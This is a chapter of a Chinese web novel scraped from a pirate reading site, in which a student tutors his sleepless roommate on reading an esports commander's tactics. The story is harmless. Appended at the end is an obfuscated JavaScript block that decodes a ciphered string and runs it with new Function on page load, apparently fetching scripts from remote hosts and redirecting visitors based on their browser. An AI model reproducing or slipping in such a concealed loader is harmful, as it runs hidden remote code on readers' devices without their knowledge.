首页
第32章 指挥官的执着
返回
关灯 护眼:关 字号:小

第32章 指挥官的执着

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第32章指挥官的执着(第1/2页)
    林萧然和夏明远在一个寝室,另外还有两个人,四人间。
    洗完澡回来,整个寝室弥漫着一股跌打药酒和沐浴露混合的味道。
    四个人像是刚从战场上抬下来的伤兵,哀嚎声此起彼伏,一个比一个惨。
    “我的腿……我的腿是不是断了……”
    “谁帮我把毛巾递一下,我真的起不来了,我胳膊已经不是我的了……”
    “明天还要五点钟起床,我现在闭上眼就能直接死过去……”
    林萧然洗完澡后,咬着牙爬到了自己的下铺,浑身每一块肌肉都在尖叫抗议。
    他颤颤巍巍地从枕头底下摸出终端,手指抖得厉害,光是按指纹解锁就按了三次才成功。
    屏幕上跳出一大串未读消息。
    全是孤儿院的孩子们发来的。
    有照片,有语音,还有歪歪扭扭的手写体扫描件。
    杨沐晴的语音在最下面。
    林萧然点开,听筒里传来杨熟悉的带着点唠叨的温柔声音。
    “萧然啊,到了学校要好好吃饭,别光顾着训练。”
    “你这孩子从小就不懂得照顾自己,现在一个人在那边,该偷懒的时候就偷偷懒,别什么都逞能,身体是自己的,记住了啊。”
    林萧然把终端抱在怀里,盯着上铺的床板,嘴角弯起一个弧度。
    身上的酸痛好像没那么难熬了。
    另外两个室友几乎是洗完澡的瞬间就进入了深度昏迷。
    呼噜声此起彼。
    迷迷糊糊之间,林萧然的意识也开始往下沉。
    但在彻底坠入黑暗之前,他的余光扫到了对面那张空着的下铺。
    被子叠得整整齐齐,枕头也没有动过的痕迹。
    他愣了一下,然后艰难地转过头,看向书桌的方向。
    夏明远还坐在书桌前。
    他低着头,笔尖在纸上沙沙地移动,脊背挺得笔直。
    “……还不睡啊?”
    林萧然问道。
    “明天早上五点就要起床,现在睡也只能睡五个小时不到了。”
    没有回应。
    夏明远甚至连头都没有抬一下。
    林萧然有些疑惑。
    他等了几秒钟,确认对方是真的没有听到,而不是故意不理他。
    然后撑着床板慢慢坐了起来,拖着步子走到书桌边,站在夏明远身后,探过头去看。
    夏明远的终端屏幕上是世界赛的比赛视频回放,而且是团队赛的。
    而他的面前摊着一个小本子,信息量密集到了让人头皮发麻的程度。
    每一帧走位、每一次技能交换、每一个指挥指令的时机。
    全部被一个字一个字地记了下来,精确到了秒。
    林萧然挑了一下眉毛。
    这年头居然还有复古派,用本子记笔记?
    他刚想开口调侃一句,目光在那满满当当的笔记上多停了一秒,表情就变了。
    夏明远记录得很详细。
    问题也在这里。
    太详细了。
    一整页看下来,全是战术细节的堆砌,没有标注任何重点。
    一个指挥官的第一次走位调整和第四次走位调整被用同样的篇幅描述。
    一次决定胜负的关键技能释放和一次无关痛痒的试探性攻击被赋予了同等的权重。
    他就像一个拿着抄网在信息洪流里拼命打捞的人,什么都想捞上来。
    结果网里什么都有,就是没有他最需要的那几条鱼。
    他完全不懂战术分析应该着重去看什么。
    林萧然伸手拍了拍他的肩膀。
    夏明远整个人弹了一下,他手忙脚乱地按住本子,然后转过头,透过那副镜片看到是林萧然之后,才长出一口气。
    他扶了扶眼镜,恢复了平日里那副冷淡的表情。
    “有什么事吗?现在还不睡的话,明天可起不来。”
    “你不是也一样?”
    林萧然把旁边的椅子拉过来,一屁股坐在他旁边,丝毫没把自己当外人。
    夏明远看了他一眼,嘴角扯出一丝冷笑。
    “我和你不一样。知识是可以弥补睡眠不足的。”
    “……额,我觉得,应该……不能吧?”
    夏明远愣了一下,然后那层冰冷的壳裂开了一条缝,他笑了笑。
    “或许不能吧。而且你已经成功地让我忘记了刚才记录到哪儿了。”
    “你这么聪明的人,被人打断一下就跟不上了?”
    “呵,凡人的智慧了。”
    “你根本不懂我的思维方式,我的记忆是分区分块的,一旦某个区块被外部干扰打断,就需要重新回溯才能回到刚才的状态。”
    林萧然翻了个白眼,毫不留情地拆穿了他。
    “说简单点,不就是脑子转得不够快,跟不上吗。”
    (本章未完,请点击下一页继续阅读)第32章指挥官的执着(第2/2页)
    夏明远张了张嘴,竟然一时找不到反驳的台词。
    林萧然没有继续调侃他。
    他伸出手指,点了点终端屏幕右下角那个不起眼的小图标。
    系统自带的比赛回放战术地图。
    画面展开,一个标满了箭头和色块的三维战术沙盘出现在两人面前。
    “你一直在看这个指挥官的指令,但你有没有注意到他其实从开场就在埋伏笔?”
    林萧然把战术地图的进度条往回拖了一段。
    “你瞧,在这里,他指挥双刀选手侧移,看起来是为了绕开对方前排的防御。”
    “但如果只看这一步,你会觉得这就是一个普通的走位指令,对吧?”
    夏明远凑近了一些,推了推眼镜,仔细看了看。
    “嗯……这个我看出来了。毕竟如果不能步调一致,就没办法五个人一起攻击了。”
    林萧然再次翻了个白眼。
    “我说啊,他调整节奏不是为了五个人排排坐吃果果。”
    他用手指在沙盘上画了一条线,连接了三个不同时间点的位置数据。
    “是为了让双刀选手的位置刚好卡在对方远程输出的视野盲区边缘。”
    “你看,三秒之后,对方的远程攻击手为了补位往左移动了两个身位。”
    “这个移动是被双刀选手的位置逼出来的。”
    “再然后,对方的阵型就出现了一个缺口。”
    “这才是他调整节奏的目的,不是为了整齐,是为了引诱。”
    夏明远盯着沙盘看了好一会儿,然后缓缓地点了点头。
    “这是雪绒花战队,联赛里以战术著称的老牌强队。”
    林萧然靠回椅背上,双手枕在脑后。
    “他们的队长亚诺是个全才,同时担任指挥官、远程攻击手和战术核心。”
    “他的指挥思路非常复杂,经常在一层战术下面埋着两到三层反逻辑的陷阱,新手看他的比赛只会越看越晕。”
    “我不是说你笨,亚诺的战术体系别说你了,很多次级联赛的职业指挥官都看不懂。”
    “我建议你先看一些次级联赛的指挥官,把战局节奏掌握的基础打牢了,再回来看这些顶级战队的战术编排。”
    夏明远沉默了几秒,而后冷笑一声。
    “呵。你果然不愧是我看中的人。”
    林萧然已经不想跟这个脑回路清奇的家伙争辩什么了。
    “你说是,那就是。”
    他伸手在终端上快速滑了几下,关掉了雪绒花战队的比赛视频。
    然后拿过夏明远那个记得密密麻麻的笔记本,翻到空白页。
    接着打开了一个次级联赛的比赛录像。
    画面里两支名不见经传的队伍正在选人阶段做最后的调整。
    “指挥官的职责分三个层面,第一是节奏控制,决定什么时候快什么时候慢。”
    “第二是资源调度,让对的人在对的时间出现在对的位置。”
    “第三是反向博弈,你要预判对方的预判。”
    “这三个层面是递进的,先把第一个搞明白,后面两个才有意义。”
    “现在看这场比赛,注意看红方指挥官的视角,我一步步给你拆。”
    夏明远把椅子往前挪了挪,背挺得笔直,听得极其认真。
    他的眼神在林萧然的指尖和战术地图之间来回跳跃,不时地点头,偶尔插进来问一个问题。
    语气不再有之前的倨傲。
    时间在战术沙盘的旋转和两人的讨论声中悄然流逝。
    到了最后,林萧然的眼皮已经开始打架了。
    他迷迷糊糊地讲完一段关于进攻节奏时间差的分析之后,突然想起一个一直想问的问题。
    “哎……你到底为什么一定要纠结当指挥官啊?”
    没有人回答。
    他转过头。
    夏明远靠在椅背上,眼镜歪到了鼻尖,嘴唇微张,呼吸均匀而缓慢。
    这小子,居然就这么坐着睡着了。
    林萧然骂了一句,然后抬头看了一眼终端上的时间。
    凌晨两点半。
    “我勒个去……你大爷的。”
    他骂骂咧咧地站起身,把夏明远搬到床上,替他把被子拉上来盖好。
    做完这一切,林萧然几乎是爬着回到自己床上的。
    他的脑袋碰到枕头的那一瞬间,意识就像被按下了关机键。
    而在林萧然的呼吸变得均匀之后。
    夏明远睁开了眼睛。
    他伸出手,轻轻摘下了眼镜。
    没有了镜片的遮挡,那双眼睛在黑暗中反而显得格外清晰。
    他看了很久。
    然后慢慢地,重新闭上了眼睛。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();